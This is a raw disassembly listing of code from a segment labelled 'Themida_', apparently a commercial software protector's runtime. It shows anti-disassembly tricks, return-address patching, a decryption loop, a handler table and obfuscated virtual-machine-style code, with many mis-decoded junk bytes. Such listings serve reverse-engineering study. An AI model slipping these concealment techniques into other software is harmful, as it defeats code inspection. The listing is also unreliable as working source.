dd 9529D98Ch, 7FA0DD9h, 0F04C1F6h, 6885h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 111FF1E0h, 10D9D8Bh, 0B807FAh, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 83D9C356h, 36068B3h, 0FA204595h, 0BDEF8107h, 61438784h
dd 25718D89h, 17E907FAh, 33000000h, 0FA17F995h, 0E9858B07h
dd 0F07FA29h, 0E0FFD3B7h, 0B3D8D89h
; ---------------------------------------------------------------------------
cli
pop es
loc_58AAF2: ; CODE XREF: Themida_:0058A899j
cmp dword ptr [ebp+7FA0EBDh], 0
jnz loc_58ABE0
mov edx, 5373E0E0h
push eax
call near ptr loc_58AB0E+3
dec edi
db 66h
loopne near ptr loc_58AB2A+2
loc_58AB0E: ; CODE XREF: Themida_:0058AB05p
xchg ebp, [edx+edi*8-45h]
cmp [ebx], esi
push ebp
sub [ebx-77h], ebx
add al, 24h
push 0
push esi
call sub_58AB25
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AB25 proc near ; CODE XREF: Themida_:0058AB1Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
loc_58AB2A: ; CODE XREF: Themida_:0058AB0Bj
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58AB25 endp
; ---------------------------------------------------------------------------
xchg eax, esp
mov dx, 0A7C9h
mov byte ptr [ebp+7FA0665h], 45h
push 0
push edx
call sub_58AB4C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AB4C proc near ; CODE XREF: Themida_:0058AB44p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58AB4C endp
; ---------------------------------------------------------------------------
push ds
add [eax], ebp
mov dx, di
or edx, 2A299BBh
push 0C3B76BB5h
mov bx, ax
xor dword ptr [esp], 4DC502DCh
mov ebx, ecx
push dword ptr [ebp+7FA08A5h]
mov [ebp+7FA11A1h], edi
lea eax, [ebp+7FA3AE2h]
jmp loc_58AB99
; ---------------------------------------------------------------------------
dd 1A63A6BBh, 0A9BB6DA9h
db 0ECh
; ---------------------------------------------------------------------------
loc_58AB99: ; CODE XREF: Themida_:0058AB8Bj
call eax
mov [ebp+7FA17BDh], ecx
mov [ebp+7FA0EBDh], eax
push 0
push ebx
call sub_58ABB2
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ABB2 proc near ; CODE XREF: Themida_:0058ABAAp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_58ABB2 endp
; ---------------------------------------------------------------------------
dw 467Dh
dd 8B4CF82Ah, 0FA33C595h, 8C0F5807h, 0Ch, 6800Fh, 8A0F0000h
dd 0
; ---------------------------------------------------------------------------
loc_58ABE0: ; CODE XREF: Themida_:0058AAF9j
cmp dword ptr [ebp+7FA4F57h], 0
jz loc_58AC11
movsx ebx, si
pusha
mov ecx, 163B8B7Eh
mov edx, [ebp+7FA1CFDh]
popa
push dword ptr [ebp+7FA212Dh]
sbb bh, 0B8h
call dword ptr [ebp+7FA0EBDh]
add bx, 0F290h
loc_58AC11: ; CODE XREF: Themida_:0058ABE7j
cmp eax, 0
jnz loc_58AD06
cmp dword ptr [ebp+7FA0789h], 0
jz loc_58ACA3
jmp loc_58AC36
; ---------------------------------------------------------------------------
fld dword ptr [ecx-4ACE09Dh]
sub al, 26h
test al, 0BBh
loc_58AC36: ; CODE XREF: Themida_:0058AC27j
mov ebx, ecx
push dword ptr [ebp+7FA0789h]
mov [ebp+7FA1E55h], edi
call sub_58AC55
db 65h
xchg eax, esi
retn
; ---------------------------------------------------------------------------
dd 13C8526Fh, 0EF2F45D5h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_58AC55 proc near ; CODE XREF: Themida_:0058AC44p
call near ptr loc_58AC67+1
sub al, 0ECh
cmp ebx, [ecx+2Dh]
push edx
push cs
fistp word ptr [edx]
lodsd
xchg esi, [ebp+0Ch]
loc_58AC67: ; CODE XREF: sub_58AC55p
mov edx, gs:[ebp+7FA0165h]
sub_58AC55 endp ; sp-analysis failed
pop ebx
pop edx
mov eax, 1
jmp loc_58AC85
; ---------------------------------------------------------------------------
dw 0CC4Ah
dd 4DE2805h, 5C8E138Bh
db 0B5h
; ---------------------------------------------------------------------------
loc_58AC85: ; CODE XREF: Themida_:0058AC75j
jmp loc_58AE91
; ---------------------------------------------------------------------------
jmp loc_58ACA3
; ---------------------------------------------------------------------------
db 0D2h
dd 3382A06h, 0C89597E3h, 64884E0Ch, 0C5580728h
db 0E6h, 0ACh, 0B2h
; ---------------------------------------------------------------------------
loc_58ACA3: ; CODE XREF: Themida_:0058AC21j
; Themida_:0058AC8Aj
push dword ptr [ebp+7FA212Dh]
jnp loc_58ACB5
xor [ebp+7FA298Dh], edx
loc_58ACB5: ; CODE XREF: Themida_:0058ACA9j
push dword ptr [ebp+7FA212Dh]
push 0
push ebp
call sub_58ACC6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ACC6 proc near ; CODE XREF: Themida_:0058ACBEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_58ACC6 endp
; ---------------------------------------------------------------------------
aad 0E3h
inc ecx
pop esp
jmp loc_58ACE9
; ---------------------------------------------------------------------------
db 0E3h
dd 14A29061h, 6FA97C25h
db 18h
; ---------------------------------------------------------------------------
loc_58ACE9: ; CODE XREF: Themida_:0058ACDAj
push dword ptr [ebp+7FA0EBDh]
jmp loc_58ACFE
; ---------------------------------------------------------------------------
dd 0F842497Ch, 2FAC39B4h
db 6Ch, 0E2h
; ---------------------------------------------------------------------------
loc_58ACFE: ; CODE XREF: Themida_:0058ACEFj
jmp loc_58AE91
; ---------------------------------------------------------------------------
mov dx, bx
loc_58AD06: ; CODE XREF: Themida_:0058AC14j
pop edi
mov edx, [ebp+7FA1585h]
cmp dword ptr [ebp+7FA2AE5h], 0
jnz loc_58ADCE
push 0
push edx
call sub_58AD25
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AD25 proc near ; CODE XREF: Themida_:0058AD1Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58AD25 endp
; ---------------------------------------------------------------------------
mov cl, [ebx+1]
ror dword ptr [edx-62766712h], cl
jno short loc_58AD4B
cli
pop es
mov byte ptr [ebp+7FA0665h], 4Dh
push 0
loc_58AD4B: ; CODE XREF: Themida_:0058AD3Ej
push eax
call sub_58AD54
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AD54 proc near ; CODE XREF: Themida_:0058AD4Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_58AD54 endp
; ---------------------------------------------------------------------------
mov ebp, 0DEB70F62h
push 6DCF83F9h
mov dx, si
add dword ptr [esp], 3665F2AFh
mov ebx, [ebp+7FA2D4Dh]
push dword ptr [ebp+7FA0515h]
mov edx, [ebp+7FA11A1h]
lea eax, [ebp+7FA3AE2h]
add [ebp+7FA33F9h], eax
call eax
push 0
push ecx
call sub_58ADA3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ADA3 proc near ; CODE XREF: Themida_:0058AD9Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_58ADA3 endp
; ---------------------------------------------------------------------------
db 0F8h
dd 9B8B6C26h, 0B5319403h, 7FA30CDh, 2AE58589h, 8B0F07FAh
dd 2
; ---------------------------------------------------------------------------
mov bl, 52h
loc_58ADCE: ; CODE XREF: Themida_:0058AD14j
mov eax, 0
mov bl, 2Eh
mov [ebp+7FA4F00h], edi
push 0
push edx
call sub_58ADE6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ADE6 proc near ; CODE XREF: Themida_:0058ADDEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58ADE6 endp
; ---------------------------------------------------------------------------
dw 0D3F3h
dd 0CAE5601Ch, 49DC9887h, 195BD89h, 0CE8007FAh, 0FC00B7Eh
dd 2884h, 85895300h, 7FA1895h, 73E95Ah, 0FE80000h, 0CA000000h
dd 0F91B2736h, 6AE03203h, 5D8436E9h, 952912C2h, 7FA0FE5h
dd 0BDB5FF5Ah, 2907FA0Eh, 0FA2689B5h, 8A858D07h, 6A07FCD3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 4DE9C356h, 0AE850F5h, 0FF000000h, 0F755AC9Fh
dd 0B00BE280h, 0F0BB667Bh, 4895AF8h, 5E924h, 68240000h
dd 8B84D9BEh, 0FA0CE99Dh
; ---------------------------------------------------------------------------
pop es
loc_58AE91: ; CODE XREF: Themida_:loc_58AC85j
; Themida_:loc_58ACFEj
push eax
push esi
lea edi, [ebp+7FA56FDh]
lea ecx, [ebp+7FA7A65h]
mov eax, 748323BCh
sub ecx, edi
loc_58AEA6: ; CODE XREF: Themida_:0058AEACj
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_58AEA6
pop esi
pop eax
cmp dword ptr [ebp+7FA0789h], 0
jz short loc_58AEBF
mov ecx, [ebp+7FA1009h]
loc_58AEBF: ; CODE XREF: Themida_:0058AEB7j
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_58AF76
cmp dword ptr [ebp+7FA2BE9h], 0
jz short loc_58AEDD
call dword ptr [ebp+7FA3125h]
loc_58AEDD: ; CODE XREF: Themida_:0058AED5j
mov eax, 0
or eax, eax
jnz short loc_58AEEF
cmp dword ptr [ebp+7FA4F08h], 1
jz short loc_58AEF8
loc_58AEEF: ; CODE XREF: Themida_:0058AEE4j
cmp dword ptr [ebp+7FA4F08h], 2
jnz short loc_58AF06
loc_58AEF8: ; CODE XREF: Themida_:0058AEEDj
mov esi, [ebp+7FA4F00h]
lea eax, [ebp+7FCD38Ah]
call eax
loc_58AF06: ; CODE XREF: Themida_:0058AEF6j
cmp dword ptr [ebp+7FA26F1h], 0
jz short loc_58AF15
call dword ptr [ebp+7FA1521h]
loc_58AF15: ; CODE XREF: Themida_:0058AF0Dj
lea eax, [ebp+7FA4354h]
call eax
cmp dword ptr [ebp+7FA0B75h], 2
jnz short loc_58AF55
mov esp, [ebp+7FA2DB1h]
mov eax, [ebp+7FA0789h]
mov [esp], eax
mov dword ptr [ebp+7FA0671h], 1
mov esi, [ebp+7FA4F04h]
mov ebp, [ebp+7FA1DD5h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_58AF55: ; CODE XREF: Themida_:0058AF24j
mov dword ptr [ebp+7FA0671h], 1
mov esp, [ebp+7FA2DB1h]
mov esi, [ebp+7FA32C5h]
mov ebp, [ebp+7FA1DD5h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_58AF76: ; CODE XREF: Themida_:0058AEC8j
cmp dword ptr [ebp+7FA26F1h], 0
jz short loc_58AF8E
cmp dword ptr [ebp+7FA1521h], 0
jz short loc_58AF8E
call dword ptr [ebp+7FA1521h]
loc_58AF8E: ; CODE XREF: Themida_:0058AF7Dj
; Themida_:0058AF86j
mov esi, [ebp+7FA4F00h]
retn
; ---------------------------------------------------------------------------
db 0Fh, 81h, 18h
dd 0E8000000h, 0Ch, 0C8AE73F8h, 65B218FFh, 49155953h, 2C58D89h
dd 0F5A07FAh, 0BADEBFh, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D6BEC355h
dd 5648683Eh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_58AFEC
; ---------------------------------------------------------------------------
loc_58AFEA: ; CODE XREF: Themida_:0058AFEFj
inc eax
inc edi
loc_58AFEC: ; CODE XREF: Themida_:0058AFE8j
cmp byte ptr [edi], 0
jnz short loc_58AFEA
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_58B01B
; ---------------------------------------------------------------------------
loc_58AFF8: ; CODE XREF: Themida_:0058B01Dj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_58B010
; ---------------------------------------------------------------------------
loc_58B00D: ; CODE XREF: Themida_:0058B013j
mul ebx
dec esi
loc_58B010: ; CODE XREF: Themida_:0058B00Bj
cmp esi, 0
ja short loc_58B00D
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_58B01B: ; CODE XREF: Themida_:0058AFF6j
or eax, eax
jnz short loc_58AFF8
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
js loc_58B035
mov ebx, [ebp+7FA1435h]
loc_58B035: ; CODE XREF: Themida_:0058B029j
jmp loc_58B04D
; ---------------------------------------------------------------------------
cmp bh, dl
mov ecx, 25150DEEh
push ebx
sbb [edx+edi*2], edi
pop ss
xchg eax, ebp
dec eax
std
cld
xor [eax-0Dh], dl
loc_58B04D: ; CODE XREF: Themida_:loc_58839Cj
; Themida_:loc_58B035j
mov eax, ecx
jmp loc_5AFE44
; ---------------------------------------------------------------------------
dd 12FEF4h, 6092B1h, 607876h, 26D0023h, 12FFE0h, 26D001Bh
dd 6092B1h, 212h, 2, 2 dup(1), 0F85E3441h, 5 dup(0)
dd offset loc_58DD06
dd offset loc_58BC2D
dd offset loc_590F10
dd offset loc_59825F
dd offset loc_593BF7
dd offset loc_58B8BE
dd offset loc_58F3A6
dd offset loc_590A1F
dd offset dword_596704
dd offset loc_58B7DE
dd offset loc_58B802
dd offset loc_58D671
dd offset loc_592D55
dd offset loc_5916BD
dd offset loc_58CE42
dd offset loc_59154E
dd offset loc_58FB9F
dd offset loc_58B6FE
dd offset loc_592E4B
dd offset loc_58E3C5
dd offset loc_596349
dd offset loc_58EE9C
dd offset loc_592614
dd offset loc_58D52E
dd offset loc_58E71F
dd offset loc_596EE3
dd offset loc_58FF14
dd offset loc_597C38
dd offset loc_59739F
dd offset loc_58F223
dd offset loc_591895
dd offset loc_5980B3
dd offset loc_5941E1
dd offset loc_58CA6B
dd offset loc_597D9D
dd offset sub_59196D
dd offset sub_58CA8D
dd offset loc_5955EE
dd offset sub_58E916
dd offset loc_595C1A
dd offset loc_594EEA
dd offset loc_58D801
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0D5h, 58h, 0
; ---------------------------------------------------------------------------
enter 58E1h, 0
xchg eax, ecx
sub al, 59h
add [edi-12h], dh
pop eax
add [ecx+7Ch], ah
pop ecx
add [ebp+59h], ah
add [esi-1DFFA6DFh], dl
pop edx
pop ecx
add [eax+33h], bh
pop ecx
add [edi+7B0058B9h], cl
jl short near ptr loc_58B1C3+1
add [ebx+3Eh], ch
pop ecx
add [edi-4Ah], cl
pop eax
add bl, cl
pop ecx
pop ecx
add [eax-23h], dh
pop eax
add [eax+42005985h], cl
and bl, [ecx+0]
jmp short loc_58B1B4
; ---------------------------------------------------------------------------
dw 59h
dd offset loc_59248D
dd offset loc_592302
dd offset loc_596131
dd offset sub_58EE14
dd offset loc_59707B
dd offset loc_593563
dd offset sub_58E4E8
dd offset sub_590B8E
dd offset sub_58D61F
dd offset loc_594359
; ---------------------------------------------------------------------------
jmp short loc_58B211
; ---------------------------------------------------------------------------
dw 59h
; ---------------------------------------------------------------------------
loc_58B1B4: ; CODE XREF: Themida_:0058B184j
test gs:[ecx+0], ebx
or dword ptr [eax+59h], 0
xlat
sbb byte ptr [ecx+0], 0A2h
std
pop eax
loc_58B1C3: ; CODE XREF: Themida_:0058B169j
add ds:1D00592Bh, dl
sub bl, [ecx+0]
sub al, bl
pop eax
add bl, ch
sbb ebx, [ecx+0]
jmp near ptr 0BF590AFBh
; ---------------------------------------------------------------------------
db 0EAh, 58h, 0
dd offset loc_590C22
dd offset loc_596241
dd offset sub_5902D0
dd offset sub_590792
dd offset sub_58FD91
dd offset sub_591526
dd offset loc_59553C
dd offset loc_5962B8
dd offset sub_58CF35
dd offset loc_592ADE
dd offset loc_5927AE
dd offset sub_58BF03
; ---------------------------------------------------------------------------
retn 596Dh
; ---------------------------------------------------------------------------
align 10h
push edi
loc_58B211: ; CODE XREF: Themida_:0058B1B0j
dec ebx
pop ecx
add [ebp-42FFA6FDh], dh
xor al, 59h
add [eax], cl
repne pop eax
add [ecx+34h], ah
pop ecx
add [eax-7AFFA728h], cl
or bl, [ecx+0]
pushf
inc eax
pop ecx
add [edi-34h], dl
pop eax
add [edx+24h], bl
pop ecx
add [esi], cl
popa
pop ecx
add [eax], dl
out 58h, al
add [ebp+13h], cl
pop ecx
add [ebx], cl
ja short loc_58B2A0
add ah, bl
dec ebx
pop ecx
add dh, ch
cmp eax, 10FE0059h
pop ecx
add [edi-41FFA707h], ch
sub bl, [ecx+0]
dec esi
pop edx
pop ecx
add [edx+ecx*8], cl
pop eax
add al, cl
sbb dword ptr [ecx+0], offset loc_5937D3
popf
pop edi
pop ecx
add [ebx], bh
mulps xmm0, oword ptr [eax]
jmp short near ptr loc_58B2CB+2
; ---------------------------------------------------------------------------
pop ecx
add [esi+ecx-0B15FFA7h], cl
pop eax
add [esi], bl
retf 58h
; ---------------------------------------------------------------------------
mov ebx, 0DEDE0058h
pop eax
add [eax+57005974h], ah
mov dh, 58h
add [eax], bl
xor ebx, [ecx+0]
mov ebp, [ecx]
pop ecx
add ch, dh
fistp word ptr [eax+0]
loc_58B2A0: ; CODE XREF: Themida_:0058B245j
ja short loc_58B2EF
pop ecx
add [ebx+4Eh], dh
pop ecx
add [ebp-6BFFA711h], bh
imul ebx, [ecx+0], 5942A7h
pop esp
mov bh, 58h
add ds:0AB005942h, al
setalc
pop eax
add [esi], dh
inc eax
pop ecx
add [esp+esi*8+58h], dh
add [eax-7Dh], al
pop ecx
loc_58B2CB: ; CODE XREF: Themida_:0058B274j
add [esi+7Eh], dh
pop ecx
add [esi-67FFA685h], al
mov byte ptr [eax+0], 1Ch
push eax
pop ecx
add bl, bh
lds ebx, [eax+0]
in eax, dx
push ecx
pop ecx
add [ebp-17FFA73Fh], dh
out dx, eax
pop eax
add [edi], bh
pop esp
pop ecx
loc_58B2EF: ; CODE XREF: Themida_:loc_58B2A0j
add [esi+ecx*2+59h], bh
add al, ah
xor eax, 6A730059h
pop ecx
add [ebx], bl
jge short near ptr loc_58B355+3
add [esi-4DFFA6A6h], ah
push 59h
add ch, cl
in eax, dx
pop eax
add [edx], dl
sbb eax, 47800059h
pop ecx
add [esi-17FFA73Bh], dl
mov ah, 58h
add [ebx], dh
sub ebx, [ecx+0]
rcr esp, 58h
add dh, ch
sub al, 59h
add bl, ah
push cs
pop ecx
add [edx+53h], ch
pop ecx
; ---------------------------------------------------------------------------
db 0
dd offset loc_59170D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC3B6
loc_58B334: ; CODE XREF: Themida_:005AFF68j
; Themida_:005AFF72j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7FA7EFBh
mov eax, edi
add edi, 7FA7C13h
cmp eax, [edi+2Ch]
jnz short loc_58B352
jmp short loc_58B365
; ---------------------------------------------------------------------------
loc_58B352: ; CODE XREF: sub_5EC3B6-61068j
mov [edi+2Ch], eax
loc_58B355: ; CODE XREF: Themida_:0058B2FDj
mov ecx, 0A7h
jmp short loc_58B361
; ---------------------------------------------------------------------------
loc_58B35C: ; CODE XREF: sub_5EC3B6-61053j
add [edi+ecx*4+40h], eax
dec ecx
loc_58B361: ; CODE XREF: sub_5EC3B6-6105Cj
or ecx, ecx
jnz short loc_58B35C
loc_58B365: ; CODE XREF: sub_5EC3B6-61066j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_58B372: ; CODE XREF: sub_5EC3B6-6103Dj
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_58B372
; END OF FUNCTION CHUNK FOR sub_5EC3B6
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B37B: ; CODE XREF: sub_59196D-6511j
; sub_59196D-63A8j ...
lodsb
sub al, 94h
add al, 0BEh
sub al, bl
sub esp, 4
jmp loc_5960AC
; ---------------------------------------------------------------------------
loc_58B38A: ; CODE XREF: sub_59196D+564Bj
sub edx, 37704DADh
add edx, eax
add edx, 37704DADh
push eax
mov eax, 22434C48h
push ecx
jmp loc_5917AA
; ---------------------------------------------------------------------------
loc_58B3A4: ; CODE XREF: sub_59196D-5191j
and al, 35h
sub al, 63h
add bh, al
pop eax
and al, bh
pop ebx
sub al, 0FEh
xor dh, al
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_58C01B
; ---------------------------------------------------------------------------
loc_58B3C0: ; CODE XREF: sub_59196D+4E62j
sub eax, ebx
pop ebx
xchg eax, [esp-4+arg_0]
jmp loc_593069
; ---------------------------------------------------------------------------
loc_58B3CB: ; CODE XREF: sub_59196D+565Aj
push esp
pop ecx
push 47Ah
mov [esp+0], eax
mov eax, 4
add ecx, eax
mov eax, [esp+0]
add esp, 4
sub ecx, 2
push ecx
push [esp+arg_0]
push [esp+4+var_4]
pop ecx
add esp, 4
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
jmp loc_594127
; ---------------------------------------------------------------------------
loc_58B402: ; CODE XREF: sub_59196D-2417j
mov ebp, edx
pop edx
sub esp, 4
mov [esp-4+arg_0], ebp
push edi
push eax
mov eax, 774D5077h
and eax, 77C95CF7h
and eax, 461B4D2Eh
jmp loc_590B5E
; ---------------------------------------------------------------------------
loc_58B421: ; CODE XREF: sub_59196D+1678j
push eax
jmp loc_596CD6
; ---------------------------------------------------------------------------
loc_58B427: ; CODE XREF: sub_59196D+26E9j
add edx, esi
jmp loc_591302
; ---------------------------------------------------------------------------
loc_58B42E: ; CODE XREF: sub_59196D+F5j
mov ebp, 31552CF4h
jmp loc_595085
; ---------------------------------------------------------------------------
loc_58B438: ; CODE XREF: sub_59196D+193Aj
push edx
mov edx, 45232547h
push eax
jmp loc_58EDE3
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590792
loc_58B444: ; CODE XREF: sub_590792-4843j
mov cl, bl
pop ebx
pop edx
jmp loc_58C6A9
; END OF FUNCTION CHUNK FOR sub_590792
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B44D: ; CODE XREF: sub_59196D-22j
pop edx
add esi, ebp
pop ebp
add esi, 2
xchg esi, [esp+8+var_8]
pop esp
shl [esp+4+var_4], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58B461: ; CODE XREF: sub_59196D:loc_58F91Aj
or ebp, 5D4D7C8Eh
jno loc_58BF80
sub ebp, 0FF7D7ECDh
mov bl, 6Ah
pop edx
loc_58B477: ; CODE XREF: sub_59196D+4609j
dec ecx
or ecx, 18B032E8h
shr ecx, 3
not ecx
xor ecx, 0A8687ABEh
add edx, ecx
jmp loc_590421
; ---------------------------------------------------------------------------
loc_58B490: ; CODE XREF: sub_59196D+4F0Bj
mov edi, [esp+4+var_4]
jmp loc_59258F
; ---------------------------------------------------------------------------
loc_58B498: ; CODE XREF: sub_59196D-59E1j
; sub_59196D-541Cj
inc ah
jmp loc_5970AA
; ---------------------------------------------------------------------------
loc_58B49F: ; CODE XREF: sub_59196D+2648j
mov ecx, 5E936540h
sub [esp+4], ecx
pop ecx
jmp loc_58CE81
; ---------------------------------------------------------------------------
loc_58B4AE: ; CODE XREF: sub_59196D-734j
add esp, 4
sub bl, 0C7h
push edx
mov dl, 24h
inc dl
add dl, 0D8h
sub bl, dl
pop edx
add bl, 5Fh
sub bl, 3Ch
sub bl, al
add bl, 3Ch
push ecx
mov ch, 0CCh
shr ch, 1
push edx
mov dl, 25h
sub dl, 93h
jmp loc_5918DF
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58B4DA proc near ; CODE XREF: sub_59196D+2421j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_595CF5
sub_58B4DA endp
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_593DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B504: ; CODE XREF: sub_59196D+3448j
shl dh, 5
xor dh, 9Fh
sub al, dh
pop edx
push dword ptr [esp+0]
jmp loc_58FCBC
; ---------------------------------------------------------------------------
loc_58B515: ; CODE XREF: sub_59196D-EEDj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
push edx
mov edx, esp
add edx, 4
jmp loc_596A39
; ---------------------------------------------------------------------------
loc_58B536: ; CODE XREF: sub_59196D-215Aj
jns sub_58D521
push ebx
mov ebx, 1F374C07h
not ebx
jmp loc_58E848
; ---------------------------------------------------------------------------
loc_58B549: ; CODE XREF: sub_59196D+2E00j
mov ebx, 1AAF41A2h
mov ebp, 966A931Ch
jmp loc_597540
; ---------------------------------------------------------------------------
loc_58B558: ; CODE XREF: sub_59196D-3436j
push 0F8h
mov [esp+10h+var_12+2], edx
push eax
sub esp, 4
mov [esp+18h+var_1A+2], edi
mov edi, 6FCE3266h
jmp loc_591359
; ---------------------------------------------------------------------------
loc_58B571: ; CODE XREF: sub_59196D+2D3Dj
pop ecx
jmp loc_595797
; ---------------------------------------------------------------------------
loc_58B577: ; CODE XREF: sub_59196D-5C2j
add eax, 32030305h
push [esp+14h+var_16+2]
jmp loc_5944B2
; ---------------------------------------------------------------------------
loc_58B584: ; CODE XREF: sub_59196D-4912j
pop edx
push 7B2Fh
mov [esp+18h+var_1A+2], ebp
mov ebp, 6FAD3622h
add ebp, 0ED1D4834h
add eax, ebp
pop ebp
push 3F4Ah
mov [esp+18h+var_1A+2], ebp
mov ebp, 115568D5h
add ebp, 7C0D23CAh
xor ebp, 261C07A8h
jmp loc_58C361
; ---------------------------------------------------------------------------
loc_58B5B9: ; CODE XREF: sub_59196D+6275j
mov ecx, esp
jmp loc_58E7D8
; ---------------------------------------------------------------------------
loc_58B5C0: ; CODE XREF: sub_59196D-2A6Bj
pop esp
sar [esp+14h+var_16+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58B5CA: ; CODE XREF: sub_59196D+4F64j
push esp
pop eax
push ebx
mov ebx, 4
add eax, 266A71BFh
jmp loc_58B86A
; ---------------------------------------------------------------------------
loc_58B5DC: ; CODE XREF: sub_59196D-1348j
add esp, 4
jmp loc_58D5E0
; ---------------------------------------------------------------------------
loc_58B5E4: ; CODE XREF: sub_59196D+773j
mov [esp+18h+var_1A+2], ebx
push ebp
jmp loc_5984DF
; ---------------------------------------------------------------------------
loc_58B5ED: ; CODE XREF: sub_59196D+23B7j
; sub_59196D+3BC6j
shr eax, 7
jnp loc_591E76
jmp loc_593B57
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop ebx
mov edx, esi
pop esi
mov ecx, ebx
pop edx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B602: ; CODE XREF: sub_59196D+1E46j
pop [esp+1Ch+var_1E+2]
pop esp
mov [esp+14h+var_16+2], ecx
jmp loc_5940F5
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58B60E proc near ; CODE XREF: sub_59196D+4699j
; sub_59196D+4982j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0059048C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00590580 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00590786 SIZE 0000000C BYTES
sub esp, 4
jmp loc_590580
sub_58B60E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B616: ; CODE XREF: sub_59196D-5E0Dj
add dh, ch
jmp loc_5918F5
; ---------------------------------------------------------------------------
loc_58B61D: ; CODE XREF: sub_59196D+261Fj
xor edx, 36793F3Fh
jge loc_594C67
push esi
jmp loc_5915E2
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
shl ecx, 6
push ebx
mov ebx, 77453FA6h
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B638: ; CODE XREF: sub_59196D+F21j
xor ebp, 0FF81D222h
jmp loc_58C25E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BE0
loc_58B643: ; CODE XREF: sub_590BE0-F35j
pop esp
add ebx, 4
jmp loc_58BDCF
; END OF FUNCTION CHUNK FOR sub_590BE0
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_58E549
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esp
push ecx
mov ecx, 4
add dword ptr [esp+4], 34941793h
jmp loc_58DA96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58B670: ; CODE XREF: sub_59196D-13A7j
push edx
mov edx, 129628F7h
jmp loc_58F6F8
; ---------------------------------------------------------------------------
